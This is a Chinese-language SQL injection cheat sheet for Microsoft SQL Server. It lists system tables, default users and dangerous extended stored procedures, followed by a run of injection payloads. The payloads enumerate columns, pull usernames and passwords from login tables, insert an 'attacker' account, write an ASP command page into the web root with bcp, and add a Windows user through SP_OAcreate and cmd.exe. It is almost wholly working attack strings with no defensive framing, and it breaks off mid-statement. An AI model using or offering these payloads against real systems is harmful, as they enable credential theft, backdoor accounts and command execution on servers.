Sql注射总结(早源于''or''1''=''1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
例如:
sp_addextendedproc ''xp_webserver'', ''c:\temp\xp_foo.dll''
exec xp_webserver
sp_dropextendedproc ''xp_webserver''
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'' group by users.id having 1=1-
'' group by users.id, users.username, users.password, users.privs having 1=1-
''; insert into users values( 666, ''attacker'', ''foobar'', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=''logintable''-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=''logintable'' where COLUMN_NAME NOT IN (''login_id'')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=''logintable'' where COLUMN_NAME NOT IN (''login_id'',''login_name'')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name=''Rahul''--
构造语句:查询是否存在xp_cmdshell
'' union select @@version,1,1,1--
and 1=(select @@VERSION)
and ''sa''=(select System_user)
'' union select ret,1,1,1 from foo--
'' union select min(username),1,1,1 from users where username > ''a''-
'' union select min(username),1,1,1 from users where username > ''admin''-
'' union select password,1,1,1 from users where username = ''admin''--
and user_name()=''dbo''
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate ''wscript.shell'',@shell OUTPUT EXEC SP_OAMETHOD @shell,''run'',null, ''C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add''
and 1=(select count(*) FROM